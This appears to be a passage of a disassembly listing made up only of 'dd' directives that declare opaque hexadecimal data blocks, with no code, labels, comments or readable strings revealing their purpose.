dd 2030C7BEh, 0D1AB6A4Bh, 38C87F5Bh, 49414AD8h, 145267DCh
dd 0C4FAC100h, 0F632530h, 52C900F9h, 4D366776h, 9E6B6DCAh
dd 584F231h, 82D669EFh, 0DBE813FDh, 62858060h, 0B95C9C2h
dd 116D43BEh, 0E4ADF105h, 919DA8FCh, 0A992AF9Ch, 0B020A67Ch
dd 9AB85h, 62BB9566h, 0F51E6F05h, 689BE630h, 0A8F81DE9h
dd 2DAB69C8h, 58E4F9D0h, 0C48A490Fh, 1C2078FCh, 612225EAh
dd 6BA7E820h, 920B5C15h, 7AA6340Dh, 0E03C444Ch, 0D9271300h
dd 3D444AF9h, 0AEC32730h, 9BB3E022h, 9B8020Eh, 0DE760173h
dd 40452BC5h, 2CBCE8C2h, 8C2EECh, 978508D8h, 811DE7A5h
dd 551C7E09h, 0D38C18Ah, 0EC4888CEh, 33F1B021h, 0E9001B18h
dd 9D23D9BCh, 9FCDDE3Ch, 6FE204C9h, 2F23D03Eh, 0E02B1E0Eh
dd 0F22819C9h, 570F04C4h, 0BCE54EA2h, 0A57F211Ch, 605188D3h
dd 95F11830h, 0E87EFC92h, 4DB80C83h, 1CECE56Ch, 38CD2E8h
dd 17DC889h, 61008DC0h, 0EAB42EABh, 6B9B4270h, 14F1E99Ah
dd 0B1182C79h, 9411300h, 68181E78h, 0C018B7C5h, 129F88BAh
dd 129CF8C8h, 8B9D9CF0h, 0C090C8D8h, 0B50BC31h, 6A69AB1Ch
dd 4F2848A5h, 1DE820C5h, 84A4802Fh, 7E422004h, 1CF87906h
dd 0E12FE8E0h, 60E83A8Ch, 5F99244h, 0EC452BACh, 4A20FC6Bh
dd 90F200F2h, 1B2DA30h, 0ABFB57FEh, 0C169371Eh, 82AC5164h
dd 0ECCBF6DEh, 8D1CCAE8h, 3FFC6F59h, 0C10B2F26h, 0E29C84h
dd 8F32B870h, 0ECE6EA2Ah, 48EC495Ch, 37522DADh, 0E84700F0h
dd 0BE350DAh, 2D8A9200h, 0D4F36ABAh, 90C1058Fh, 0F8040DEAh
dd 0C7CC2590h, 60D4E464h, 0E2424994h, 9E230571h, 0AA5B6AC2h
dd 182A028h, 2D98130Fh, 60B8FA8Dh, 61008C66h, 946EC787h
dd 38B69652h, 3581D918h, 9E5E86AAh, 0BC8C7C05h, 48308C97h
dd 601DAE79h, 58929Ch, 35C9422Ah, 0F88E86EDh, 13E77509h
dd 5BE8F091h, 3A1885DDh, 9123F0h, 3FFC813Bh, 7B268E16h
dd 0F4718C0h, 0A14FF640h, 0C1A02D01h, 6F4B80E1h, 0ACBCB416h
dd 8CD0BCh, 5F7A52BEh, 0A3D19FBAh, 0E4CB634Ah, 0A2C0EEC8h
dd 1FB0FC6h, 1AEBDBBh, 8176B5B8h, 263154A0h, 0C8CD331Fh
dd 89DC823Bh, 0B6CB220h, 0D54A2D8Fh, 1C00B853h, 0EC9D54EDh
dd 0B252549h, 22E4C0E5h, 87519F60h, 86A15305h, 0CB456F5h
dd 0D7EC2035h, 0AFD89895h, 0F499C08Dh, 3365D12h, 0B87C0D00h
dd 0CF8E408Fh, 9A9A5A4Ch, 0CE7088E0h, 5E58FF40h, 782D1082h
dd 5804DB7Ch, 50041125h, 0BA43492h, 9649FC88h, 59465C28h
dd 0C65E022Fh, 76DE251Fh, 9421C0D3h, 0A9D038DFh, 80FB07CEh
dd 24346C4Bh, 0D2C0E8E7h, 0BFB29CE2h, 0A7F030h, 46EAFAE8h
dd 0FC32C28Fh, 676AD806h, 95287A3Bh, 74E48045h, 5E423B60h
dd 66DC6A0Eh, 0FFF284C0h, 95BC24ACh, 0E26008Ch, 4B054391h
dd 0E62F6045h, 31ACC171h, 3B3BE9F1h, 12223ACh, 9C7A1864h
dd 64823AECh, 3BE9008Ch, 0D27D22D9h, 0AFA9FA0Bh, 79EC5144h
dd 9571822h, 6B48E468h, 10B47078h, 676905DCh, 40CFC032h
dd 0B70C64B0h, 4301B960h, 35EC94F1h, 543A0674h, 0BEE804C0h
dd 0BC4C018Ch, 3B8A9C69h, 30844191h, 0E0DA2AE2h, 0C089ABC4h
dd 0F15614D3h, 0B0CDF005h, 54E83E44h, 8EC29917h, 0C1D2C8DCh
dd 34EF2BB9h, 1C18C360h, 0D3F8E0DCh, 0AB29C0E3h, 7A8C5B0Bh
dd 6B394417h, 0DF2F8E2h, 507830h, 3F393691h, 306299BCh
dd 0E9FF6930h, 0B8904D7Fh, 527D4A98h, 0AC74BD4Ch, 3F8900D5h
dd 0B34907CFh, 5C003DE5h, 71C08FADh, 580C2D5Eh, 1E9006Ch
dd 0E79C5894h, 21641CF8h, 7E8ADD1Ch, 967AE881h, 2080FEC5h
dd 0B43A9AEh, 6100B319h, 2693F157h, 0FA8DC7DDh, 48ED0387h
dd 435829A7h, 4C443003h, 0ABB5EEh, 1C2D8E11h, 0BDD8263Fh
dd 883AA977h, 21BA30BCh
dd 0A01C0668h, 71232FDh, 4A77226Ch, 0B7756082h, 4E00AA4Bh
dd 0A9B98A2Eh, 0E8F2255Eh, 34A7C59h, 7D9DC322h, 0A82E5CB4h
dd 0EC0F9E43h, 8BE1A021h, 0C6E9D94Fh, 209DB408h, 0EC3A9905h
dd 55A8365Bh, 6769C3Dh, 639B241Bh, 7E46500Fh, 4EC2502h
dd 1CE922h, 0DBECED98h, 3E81A5FFh, 0D6674400h, 0E16220Bh
dd 48A4A156h, 0F28CD0BCh, 80B85E21h, 40958C30h, 525417A7h
dd 0EB239C4Ch, 301C2201h, 92182026h, 3F6B88h, 6F84271Ch
dd 0C24CD77Dh, 79DEAD01h, 0A7AE1549h, 0C63E9840h, 0D1E4A89Ch
dd 0C7391859h, 0F5E3114Fh, 71526800h, 0CCAB89C5h, 0E008CC9Dh
dd 0ED008821h, 3F7A2B68h, 1136F9h, 0A977183Bh, 0AD8B2017h
dd 0EF7DE474h, 617D5EF0h, 0F7741C7Ch, 0AE120E18h, 282A5780h
dd 1E4B4A5h, 0DBBE40A6h, 483A59D2h, 6808F244h, 0C4ED7175h
dd 0EA805EE1h, 8D48BC68h, 0DBB13FF2h, 6041A850h, 197258A4h
dd 30E05ACDh, 81241501h, 2199A8F9h, 19CC1424h, 908E8A16h
dd 0A081F66Ch, 4C8D29AFh, 58C3B8Ch, 715468F3h, 8A4828F5h
dd 1368EB00h, 6BD6816Ah, 8227044Fh, 438B51F2h, 6A4BE0Eh
dd 0E9299F70h, 350718B9h, 65258424h, 55CC9760h, 8E461257h
dd 1414ECh, 401E923h, 3026321Ch, 6D889118h, 0D91C0E39h
dd 24605A52h, 4B8353ACh, 3C81250h, 0DA39CE00h, 620C0657h
dd 0B45112F4h, 925C40ADh, 0F88FCF8Ah, 0B046EB18h, 0F11436h
dd 27177B66h, 550F402Ah, 8A30237Fh, 4350A09Ah, 0A552302Eh
dd 6AFC2D8h, 50A84130h, 50FC58h, 3322F80Fh, 6B2D5CE8h
dd 0AFE408C6h, 78D70F20h, 9600170Fh, 47D4F1Eh, 0E8E08448h
dd 0A51D8CB1h, 2E41763Eh, 5425ACF2h, 0DAFECC50h, 3C91C0ABh
dd 0A16CF4Eh, 9CB09363h, 484C3BFh, 1425449h, 0EDBC884Ah
dd 1C20048Ch, 62D0263Eh, 56920B4h, 2A00BF1Ch, 65E71095h
dd 25CA8A0h, 0C378775Fh, 8CB03CAFh, 0F23B0F76h, 0F022C622h
dd 0F7EED00h, 6FAE2B7Ch, 389E1D03h, 0A12AC0B7h, 799CBA95h
dd 0B9A25130h, 8A6D77h, 0F4F8FF73h, 5837610Bh, 0E05D0A31h
dd 8052BDC8h, 0C1646DC2h, 0C5371072h, 17EAC025h, 0F018AC00h
dd 5558B6D5h, 889D0056h, 4E6C603Fh, 0BC07B70Dh, 0AC3E8CE5h
dd 23DFF527h, 3CD8D7A9h, 0F80EF30h, 35E491Ch, 561DF37Dh
dd 0ED187CFBh, 1C081621h, 4970B91Ch, 0CE03C7C3h, 580CFFFAh
dd 29E9D7A8h, 0CE60099h, 36D02A46h, 0F201527Bh, 4E348EC0h
dd 2CF0C9CAh, 0BE5538ABh, 0B3D530E0h, 0E6000417h, 33CA1F12h
dd 0C4137540h, 1C0602B8h, 0B80AEE4Eh, 18592031h, 11BABD42h
dd 0B200B3D6h, 13B54030h, 0CC9D37D9h, 0F921D008h, 71B2AB00h
dd 0F6B56E2Bh, 0D87918EAh, 9DCAB1E0h, 0CDF47500h, 0DBD01768h
dd 54200C7Eh, 0B641DC5Eh, 2C18C274h, 78115C9Fh, 1698004Eh
dd 0BAF96BE2h, 8CC33D9h, 279F2175h, 0BED49846h, 1E7A8900h
dd 1BCB5E2Fh, 79E1D7B2h, 0EBEC62D0h, 75DA348h, 20E243BCh
dd 5939E421h, 7AA649B8h, 7841948Ch, 2F22B28Eh, 1CAD40h
dd 5EB2AAF8h, 0EEBB4C8Ch, 7124BA00h, 2C642FB3h, 5A8300FFh
dd 0DD9D5DAh, 9801EC7Dh, 1BC67A5Eh, 4806F4E8h, 51C0BE79h
dd 78017115h, 0AA550036h, 0FD5E7903h, 5C0E5B5Dh, 0C07B581Eh
dd 4107D559h, 0F41C0F3h, 78B27A2Eh, 5CDB2106h, 69081970h
dd 94822103h, 5440E97Ah, 88029A85h, 736876E0h, 50F4AA6Fh
dd 0EC4674h, 0B2412940h, 0E4188A7Ah, 43DA3FD1h, 0B7FBC4Eh
dd 0C5A785Eh, 0F16E18FBh, 0ADBEB450h, 7CAF4CF3h, 484C797Ah
dd 0E793C10h, 68DB317Ah, 0CC6F959Fh, 300EC500h, 7921B4D6h
dd 19C367F8h, 0A7DC39h, 0EA34F1E1h, 423BB318h, 2B5A4B3Eh
dd 2D019006h, 1978B17Ah, 2F880518h, 0A120CE25h, 0A969A066h
dd 78671D00h, 7FBD5449h, 1D1B7143h, 0C0FAEBA1h, 0B983C012h
dd 4C12F4BEh, 1C08D4EFh, 0B2B6C245h, 26CDB041h, 1DD3221Ch
dd 40B2AEFCh, 8370636Bh, 22004285h, 1916BB53h, 71BFBDh
dd 84E8D9DAh, 2A0102Ah, 0EB071892h, 1D5BF654h, 93C56900h
dd 8EC83EAEh, 6FFA5200h, 0B8620321h, 87FB421Ch, 0BF4ED403h
dd 1914F0A6h, 7B63004Dh, 3FD6F392h, 0C00CC41h, 52B42173h
dd 0A2A842h, 8EF858C7h, 0EA6953F2h, 0ED015A7Bh, 4542CB2h
dd 34C011EFh, 0EB711D70h, 697900CBh, 0B3788DCh, 260F6A00h
dd 8D0E2A72h, 41E007Ch, 0F9076397h, 6478F34Ch, 86299A00h
dd 0BA321DFBh, 8121F2Bh, 0AA7546D1h, 4000598Fh, 0D5F5FFD3h
dd 0E713D7h, 0D6C1A845h, 2E54CF8Eh, 0FB2F1600h, 6347F2CEh
dd 38E51FBAh, 98AAC0D4h, 763056EEh, 64FD2300h, 7314324Fh
dd 0ED2606C6h, 0D1CDC02Bh, 0E1E7C700h, 0D902A13Bh, 693F24F0h
dd 43CA8008h, 0E4304220h, 0E5906F68h, 38A9540Ch, 64C0E83h
dd 98FC6631h, 0DD3CC155h, 401EB479h, 0E880F88Ah, 6ED676A6h
dd 93E77DBh, 0DEEB92BAh, 0F152A020h, 0D500E412h, 5D6DA83Ah
dd 11BF25h, 67766114h, 0AF34C737h, 0BE033Ah, 1EC07108h
dd 1295EFFh, 1790F74Ch, 0D453EA3Ah, 98C19BF1h, 1D5AE1A2h
dd 0BBCDE0h, 0AF9A4549h, 81DA4663h, 8FACD200h, 0B62265E4h
dd 35D100EAh, 99058374h, 6D006ED3h, 599DC427h, 87CE5Dh
dd 0A984553h, 0FE0D7AF3h, 0E284770Eh, 67BB20B8h, 0ABE09Eh
dd 0F6CE7850h, 0FACA6C82h, 0BADB4C00h, 0BE04A164h, 2F1207ABh
dd 60EFEAAEh, 0D21B6230h, 0D5066500h, 2870E998h, 0F8777A48h
dd 4E5C076Dh, 60B8FEFBh, 53AAF6E2h, 0BFB73100h, 427A548h
dd 752A383Ah, 1C0265h, 5CC5D59h, 0EF1CBE9Ah, 3E407A6Fh
dd 8179F8C1h, 0FFC30037h, 713B7B82h, 0C4003985h, 6C91D0FEh
dd 9CC726h, 0A8C85359h, 0ED3562Eh, 0BD68D562h, 3812458h
dd 0D8ECAA2Dh, 6733Fh, 0EE7E7CE7h, 0CA18C55Bh, 20E45E4h
dd 8099D6D2h, 0BF387BAAh, 29A21EF9h, 50DEC090h, 0CE6BE511h
dd 18A08D00h, 0B2EF44FCh, 0B5263A29h, 0C95EE380h, 0E019117Ch
dd 3CB1DA00h, 0CCBA032Dh, 22662C6Eh, 0B9C00C94h, 6F06D93Ch
dd 13BD1097h, 11222AEh, 6A6E5419h, 0E4405BDBh, 303EA1E0h
dd 93DD899h, 0D5F4A932h, 2D71691Fh, 8500B6DEh, 0CD052582h
dd 0FC0107FAh, 42FD6487h, 877F8BBEh, 0F9D3AD96h, 0B7E90067h
dd 6596C906h, 8F18CC5Fh, 43BB683Eh, 2F4B61E6h, 0CC5E5610h
dd 2500A1E7h, 0F6159344h, 0FE0C8A4Fh, 13E30045h, 2B89F267h
dd 1F019D58h, 0AE8497Eh, 43D48EB1h, 8C4B00DCh, 50A8B3CCh
dd 0FC00AA33h, 0E6F65BB6h, 0C00EF03Fh, 0EFAECAFBh, 600A7EBh
dd 1D0C202Dh, 1F9B0D9Ah, 28A466h, 41689ECFh, 330329C8h
dd 269CE5C6h, 52F0002Fh, 46A5E913h, 9AF6D215h, 0A4C5410Fh
dd 0FBAFA003h, 5B483F9h, 34A52C7Fh, 2765C76h, 384AD1D7h
dd 7F78E0C0h, 979D3900h, 3FE7293Ah, 0CD355491h, 791802D5h
dd 1475D255h, 0C156C6A0h, 2C001F0Bh, 9ACD526Ah, 0FCF5E5Ah
dd 92E93D8Eh, 182D2EC3h, 1D5D2C00h, 80A4AB29h, 0E7383081h
dd 0A5211E19h, 69892430h, 372FAE5Eh, 2065C98Ah, 9EEDB129h
dd 0C7E05D00h, 0DA4D61EEh, 0D2DD307Dh, 14B534FEh, 0DAA02328h
dd 4885F200h, 4745B23Dh, 0F1E6015Bh, 9435B4ABh, 722580A3h
dd 9699A405h, 9F2319D7h, 80B3100Ch, 0D815621Fh, 608EA60Fh
dd 95D312A3h, 0A40355A1h, 0BB2063E6h, 69BCE0FFh, 54B700ECh
dd 17C0C6E7h, 2303260Ah, 1CB5E586h, 49D09404h, 0A1545Ch
dd 1E4B801Bh, 4D39238Fh
dd 0A68A9700h, 7C6120A3h, 66D70336h, 0BF4BFC45h, 0CDBA0AB8h
dd 181BC100h, 77D0577Bh, 0FEAF00F6h, 35502F01h, 93004D8Ah
dd 0F2E8CC19h, 1E5FAEh, 3094B37Dh, 6D6ADFFBh, 73DC2F00h
dd 3F120FEBh, 8C780022h, 4CF3B93Eh, 0CFFA6CCDh, 3AB8DC00h
dd 1BAE7C4Dh, 0B0191998h, 0DC5619BFh, 0FC40F40h, 5C069C6h
dd 5BA2E8h, 4CDFDD18h, 0BE0CF862h, 8079390Ch, 560B63Ah
dd 8BEA3177h, 0B3EC4003h, 686E9DA7h, 96D92C01h, 81C05B61h
dd 3457CCh, 25404E8Dh, 287341BAh, 6E2EA97Ah, 9B1C4B1Fh
dd 9519C100h, 907CF76h, 55F27883h, 3B107BF5h, 4F06ED28h
dd 0D082BA87h, 5B4F0214h, 58060424h, 0C781126h, 0FDBF5703h
dd 0CA05E5F5h, 0BC747DF8h, 0E9FA54E4h, 5055C779h, 0DCF688Ch
dd 5D5CA016h, 89070090h, 0A7F50869h, 3C5D73Ah, 884ED727h
dd 0A08B5C32h, 0E57C7D53h, 6FE90054h, 74FFFC85h, 0FA631FB8h
dd 0C8C503C0h, 1E3D97E0h, 409D5783h, 6B9B4E4Fh, 2D3D0416h
dd 0C7E8007h, 0BD59A5ACh, 42C50960h, 0EB812F7Fh, 0DC394016h
dd 0AE00AC17h, 0C5BFA14Bh, 7859256Dh, 0EF670062h, 0C18B75CFh
dd 2105BD23h, 0EB05E20Ch, 572D501Ch, 0BD8B4010h, 91FDF4B5h
dd 0FC09000Eh, 23CD6A9Ch, 0FEC00032h, 0DF188258h, 85188DA4h
dd 60320E91h, 69B5188Bh, 0E88A0E29h, 0B1906126h, 6BCB4930h
dd 3A20395Ch, 223CA187h, 1F0BF679h, 0A466A030h, 141E017Ch
dd 0F621FB76h, 7DDE11Fh, 305E5F50h, 6C9255BEh, 0F5904127h
dd 1C112017h, 6C8AEF96h, 1EB1BD01h, 3F6A05E2h, 16BC28A8h
dd 2688038Ch, 0F0BF0FBCh, 6BBB424Fh, 197714A7h, 0FD0612AAh
dd 0C9BF1116h, 0F18F01D1h, 83A88B15h, 6E6D75C0h, 9EFAA4C0h
dd 545A310Fh, 11099FCh, 0F1E16650h, 0BD6BBC25h, 0FBAC59h
dd 1C05081Eh, 66CED5D2h, 0F78A7150h, 54F28B34h, 1923DB3Ah
dd 63052900h, 0DA39C03h, 1C01B523h, 52B0B0B4h, 0B58DBD89h
dd 2D9411FCh, 6EAA5BE8h, 0AE4F0008h, 0A2AF6B2Ch, 7BA6E2C9h
dd 49EE03BEh, 809D8D63h, 0FACF1395h, 97C0CFDAh, 0D5C25EDCh
dd 89F38B03h, 2424FD8Dh, 0DE6BD3BBh, 5748EF02h, 0E0E7DA3Bh
dd 0E82943B0h, 59046FD9h, 8923145Eh, 8C18F8h, 87101576h
dd 0EAE9FCFEh, 0FF1C0869h, 1049C96Ch, 0A27E535Bh, 0A8B301Dh
dd 866A0700h, 986956A0h, 0DE81031Eh, 7310C2F9h, 1861C7B4h
dd 507D008h, 0D06F860Fh, 0C0D781CCh, 425C2601h, 9F99D8Bh
dd 0B5892C83h, 0C13061Dh, 0C5FEE381h, 0A7A6BBE1h, 7A1D07B0h
dd 0AB70E02h, 0A0FDB52Bh, 0BF08BB2h, 850F16DBh, 0ECCEBA97h
dd 0EAC017C8h, 16A87175h, 58E9BD83h, 4C84EA15h, 0F418DCB5h
dd 0CBB78500h, 0CFFFD56Dh, 0AF795BE9h, 4B2BB861h, 0A2A7C0h
dd 3AD26B51h, 6E6FF76h, 8C1CEFE4h, 0C94F0411h, 0FA3338E9h
dd 0C78D3AA9h, 5174D04Ch, 13295985h, 0BDBF6603h, 81A86039h
dd 0B40769CEh, 207FDBBh, 0A5BB6165h, 6B1F0960h, 1BF8E7ACh
dd 3877C8Ch, 92A92901h, 84188F99h, 0DD089F65h, 0F8D4811h
dd 0CADABBD6h, 788852C0h, 6D0385E8h, 3E0423DFh, 0FEFFA181h
dd 2B6B9DCBh, 7DC86C00h, 0BFCA8D2Ah, 718B7218h, 0E89DE9B4h
dd 0EEDB4F8Ch, 938846Bh, 4A35BC8Bh, 0FBCDD106h, 99A7EB5h
dd 4FFF8084h, 0DF5040BCh, 0A6587CECh, 1CD51051h, 9D896005h
dd 0FF5894B9h, 0EC2BE4h, 2379AA48h, 4B01933Eh, 1E6E7600h
dd 0D2965205h, 29E09861h, 0F1CF1621h, 18931817h, 0EE33791Ah
dd 0E0830829h, 2C170BBFh, 8B71371Ch, 0E6778A0Fh, 48E93E86h
dd 966FBEDAh, 3CD48800h, 21619529h, 0ED6BB081h, 3AB3B80Fh
dd 0BF80F8C9h, 47629A02h, 7052E65Fh, 301DE227h, 0C40EE7F3h
dd 42A665D7h, 0C0B981CFh, 59E4FFCCh, 47BC0A71h, 0C4740D0Bh
dd 0F5360202h, 290E0B2Ah, 0F042428h, 0FC83D8B6h, 0BA36F1DFh
dd 8F671C35h, 880884A1h, 21BFD60h, 0F4E78060h, 1F91FFC0h
dd 0B8B6180h, 4E8C1C3h, 51804437h, 84AFBDBCh, 0B71209C4h
dd 0E8FD85FEh, 0A54A99Bh, 3A114A9Dh, 0F76605D2h, 0C0269BE2h
dd 7AF66191h, 56FC4829h, 1601B910h, 0DAFBD82Bh, 0F9D7C050h
dd 1729C187h, 4207969h, 0CC0488BFh, 0E00EFAC6h, 5D5E5093h
dd 0DD20A728h, 0B5FF2C1Dh, 31B749B0h, 8C72A680h, 0A55662Ah
dd 3D858969h, 20EAA8CBh, 0BF030AB9h, 77826F7Fh, 0A6BE85B0h
dd 598BB28Ch, 5E460050h, 5C6AC584h, 0A1917103h, 9AF5395Fh
dd 0C499472Dh, 0A0866214h, 0CBFB1031h, 0D59D0081h, 47733F2Fh
dd 537BAF02h, 4A69FE9Fh, 38BF0EA6h, 3C461121h, 1E83FC61h
dd 6EE10270h, 31ACB5EDh, 879EC200h, 26BAC4ECh, 85AB92F8h
dd 601CC427h, 0A02F70h, 9AFDC6D9h, 3DBE5872h, 1A5F3AC9h
dd 0C06CEDCFh, 0BADCD3B3h, 8BF88E1Eh, 0AB35FF2Dh, 801AA881h
dd 0F7702BEFh, 0E7A0820Bh, 1376BE66h, 2313B992h, 3D85B1B5h
dd 0AC5A9811h, 0E76C0002h, 0B70FD577h, 585BF9FAh, 15C6BEBh
dd 4148A94Fh, 0AB20A85Bh, 4E2C5105h, 11B1241h, 95E4FF04h
dd 319F76AEh, 3D30F1D9h, 0B95E0024h, 3023D607h, 8E58AAB4h
dd 0CFE49B07h, 3102C183h, 4CD8D78Dh, 0FD93B12h, 532F591Ah
dd 46967022h, 6A61BD1Dh, 4515ADC0h, 41F18509h, 0D940600Fh
dd 0E902B998h, 0C1B501ABh, 8054280Ah, 71D7206Fh, 0F62E0F1Ah
dd 7FAD30C1h, 0DEC5470Ah, 368E6D4Ch, 200C6F89h, 15B32D79h
dd 0A58D8904h, 815BA0D0h, 8AF302CFh, 0C32B49FEh, 0A2702453h
dd 8702002Fh, 90B1D280h, 84B343Dh, 2D2B3C4Ch, 2CE934FCh
dd 0E09BB60Dh, 15F351Bh, 19C4E16Dh, 6E7E474Fh, 0AA1272B9h
dd 56A81EDEh, 0C2DABFD8h, 2EA1DEC0h, 0C5056EFFh, 803D51BCh
dd 2BD5A404h, 5D85C701h, 0D993000Bh, 351952C1h, 403014E2h
dd 48A6B860h, 680CD7CFh, 0E8CA613Dh, 6E290F60h, 0EB91CDAh
dd 0FA1377B5h, 0CB20CF4Eh, 0FAE1265h, 2B028030h, 965F6160h
dd 538570FBh, 289B0AD3h, 6A82C2C0h, 4A0456F3h, 1A8D9589h
dd 9A85FF05h, 0C0198882h, 4170028Eh, 0BF483301h, 6A3AD272h
dd 6004AE66h, 0A17D8D8Bh, 32CA308Dh, 9261A82Ch, 634D75CBh
dd 208ECF61h, 12C61B20h, 3A90B7F3h, 0A1523B9h, 15E322ECh
dd 38AC20F8h, 0BD1468B8h, 18721E71h, 0D69AC707h, 29374E9h
dd 37A1B5EEh, 0BE605326h, 29155FFFh, 1293F195h, 0FF9BFB8Bh
dd 42DD6D83h, 0B3410AECh, 26798EB1h, 0AAF0D517h, 0D1B0FAB6h
dd 0BE02FFFEh, 850F9A26h, 0C7502408h, 0A118440h, 4674E05Eh
dd 0F6D30217h, 40515C34h, 0D60A2D4Ah, 0D8DB024Fh, 52D530D2h
dd 6A9E0076h, 2303F887h, 7600DAC8h, 0DFB8A45Fh, 0BD7484h
dd 9665657h, 0FFF729E9h, 0F3F89EE3h, 0E7B9A02Dh, 748A71h
dd 0B890376Bh, 8BCF4ABBh, 0A2BCC153h, 0B9433114h, 50520B6h
dd 0BDC9D6BEh, 5B37E353h, 0AA980720h, 0A6DD00A9h, 798D73EDh
dd 0B51A31CCh, 2F71411h, 22AC5E0h, 5B8012E8h, 8CBE252Eh
dd 10013600h, 0ACD05A53h, 14657C74h, 9375CA23h, 5A2E42C0h
dd 9600952Dh, 57558C73h, 7679CEBEh, 0B8878CFh, 5F9B9C5Bh
dd 0F80065C6h, 2F58F681h, 2D901E07h, 8F8F5250h, 310F5FA1h
dd 0BED9FF5Ah, 564AF87Fh, 0F5AE9064h, 6E4A5BE2h, 286A00D4h
dd 0D772FDDh, 89361BA4h, 9E094AADh, 26E60771h, 2F6B2966h
dd 60B5E53h, 0D350B341h, 0B0B724C5h, 0D71C8174h, 3E58AC1Dh
dd 0BC8C0F4Ch, 2619622Ah, 82035B87h, 0A4DB185Dh, 6FA4EDA0h
dd 7FEB81B4h, 66E0C367h
dd 1853A7D7h, 0A0BB0C03h, 0E9313B74h, 1C89DC72h, 0ED38196h
dd 0E6455680h, 5D63B70Ah, 2F2DA87Fh, 7DDE99E3h, 38961802h
dd 0F73E6160h, 0B6716270h, 527B716Bh, 45C389BCh, 468F16A4h
dd 0C8C49C22h, 8D1D1439h, 7AD5DD9Dh, 9BAC3FA9h, 9239302Dh
dd 7A7BD55Eh, 0B658D870h, 0EBC79652h, 17C8168Eh, 0A9E6E8C0h
dd 35E8C4A1h, 89F3C808h, 0B501305h, 28D09DB5h, 16BD835Fh
dd 0D2E60620h, 7BF52864h, 2009D10Fh, 1C02C1B8h, 0E9B8010Eh
dd 2021D981h, 353CFB35h, 58C18F8h, 0E56CC8F5h, 0D75A805Eh
dd 0E92FA3A5h, 0E9BD5D4Dh, 0CD110700h, 984F9AD8h, 800AFE17h
dd 2F0AEF81h, 6112C868h, 0BA5A114Eh, 7C92DC54h, 0F9EA2301h
dd 5BF2861Ch, 0E35E0DCh, 83FE8D16h, 0EBDD9D67h, 0E0F54D57h
dd 0E3458F0h, 8B1B0902h, 82339578h, 52AB9F3h, 0A15EC429h
dd 0CA79683Ch, 0B70453E8h, 0C0EB8F48h, 3502C548h, 5FB33003h
dd 0F8BE9E5Bh, 998A0F3Ah, 87283B41h, 165F5B75h, 0BC9AFA73h
dd 8D0199C1h, 52FF96A5h, 1E91C91Ch, 7777225Ah, 0D015F3DDh
dd 0BC5AD393h, 470D6A05h, 6A4B57B7h, 733E1Dh, 349CE675h
dd 40AD8589h, 60E25007h, 0AB00ACA6h, 0B12FE754h, 729C552Bh
dd 7805038Dh, 0CC93BB7Fh, 61605AC8h, 0FD9A5FE2h, 19F94EC4h
dd 0AB2DE907h, 0E07E6D7Fh, 0B7498BAAh, 587F5F12h, 93E9600Bh
dd 0D021B2AEh, 0B7B07022h, 0E1D6CDF4h, 34EAC5F4h, 0A45C3AABh
dd 4700F218h, 0F92E132Bh, 7DB8E98h, 91E844CCh, 70E692FAh
dd 8870BED3h, 0E54312D3h, 9D15028Bh, 0E4022341h, 27BF571h
dd 4630858h, 845A1F54h, 3833A101h, 0B6E4BD6h, 0E7FF7D00h
dd 7430A050h, 43A2D909h, 1D3E4F9h, 32A66EBFh, 6BC38B10h
dd 0A6ACF5A9h, 43232C07h, 0BF3039B5h, 4FD8B175h, 29B9021Fh
dd 0EF5CA585h, 313D8D41h, 2586C104h, 78610208h, 6974B5C9h
dd 0C2AECD80h, 6E7F85h, 4467CA45h, 0FE8BEC25h, 0D82B5E00h
dd 69E0EE81h, 50272713h, 0BAD01A03h, 4CE46CD0h, 2F03615Ch
dd 14D3724h, 0F91B2736h, 37F96A03h, 0D392EB00h, 46120D6Dh
dd 69DB7100h, 0CCDC2D2Bh, 85069797h, 5F5BED4Dh, 64F68674h
dd 35060A0h, 21C83B5Ch, 0E9850506h, 3889B719h, 0ED6E4EB0h
dd 27265500h, 36162C4Bh, 57A75B0Bh, 0BF6B8060h, 629D09DBh
dd 31616595h, 0C83B9D79h, 10F7589Dh, 7C500941h, 3FF60581h
dd 0B476AA6Ch, 9E86125Fh, 7E00D42Ah, 11633322h, 51FFEF1h
dd 0D99D3144h, 5110F318h, 9F6C450Ch, 6AF0800Bh, 178988D9h
dd 4CE791Fh, 1317C142h, 0EDBD9F80h, 6A28B632h, 7713915Bh
dd 0B3889307h, 9EE06597h, 0A037C643h, 1EBBA296h, 448C6E94h
dd 0F0DD8501h, 0EFB45F9Ch, 45F18B1Eh, 2D3958F8h, 0CE008FB8h
dd 306EB0F8h, 0ED88060h, 35958B12h, 5348D915h, 0CC1FB516h
dd 0CD8A432Bh, 0D227E0E3h, 149283BEh, 5BB90D40h, 237ABF07h
dd 2DC8BC00h, 0BB8DD50Bh, 0B72756B6h, 4C01626h, 180BB12Dh
dd 0B62C1DFEh, 47C46478h, 21259529h, 126254B2h, 440B16A9h
dd 6FA64544h, 0ED008BEDh, 573E7FD5h, 0B102E5A1h, 0DE090B81h
dd 0C4ECCD3Bh, 69716214h, 5B001D2Ah, 5F1FBE66h, 0B7A72B92h
dd 6A0E006Dh, 95892D57h, 0B418C920h, 0A65AC94Ah, 77CB797h
dd 406A72ACh, 393AD7E3h, 57E9FA2Fh, 0AF801694h, 0D082212Dh
dd 0C9BF1654h, 0E853D2C3h, 2E00CEF9h, 0F26C1F56h, 525E0D9h
dd 529341D0h, 0F7A2C3E4h, 705EB681h, 650444A7h, 85C72B34h
dd 3707CFB9h, 7F3E40D5h, 13144545h, 0C4519B39h, 9A83ACBEh
dd 0CE7E0B53h, 3167E563h, 0BE023E91h, 5F3DE4B1h, 2460F9DFh
dd 8110B9Eh, 2AE1B65h, 99CB04D6h, 81CAA2F6h, 2A159D1Bh
dd 0EF56CA73h, 0ACB47574h, 2CD97EBFh, 0CD267359h, 226E93Eh
dd 80C690h, 92CF2037h, 4E1BC64Fh, 98945D03h, 0D217E463h
dd 5B90275h, 0F8535E00h, 41B51A29h, 1B711307h, 0AE89FCB4h
dd 51053768h, 138F0F0Dh, 0CF00111h, 2A7114ECh, 967BF16Eh
dd 664CDC03h, 2BE91015h, 6E3FBE01h, 52510AC4h, 502018E0h
dd 542D8D09h, 260A722h, 97BED181h, 4AC314FCh, 5E80BFB8h
dd 613B9814h, 8C17B863h, 0C5F90500h, 85A9BFCDh, 0FE3E5BBEh
dd 247BD96Bh, 1610A7Fh, 0F2C4C95h, 1E043EB7h, 82172335h
dd 0CA9016C9h, 3D167ADEh, 0FF8595E9h, 0EFBD1E0Dh, 1136C1D9h
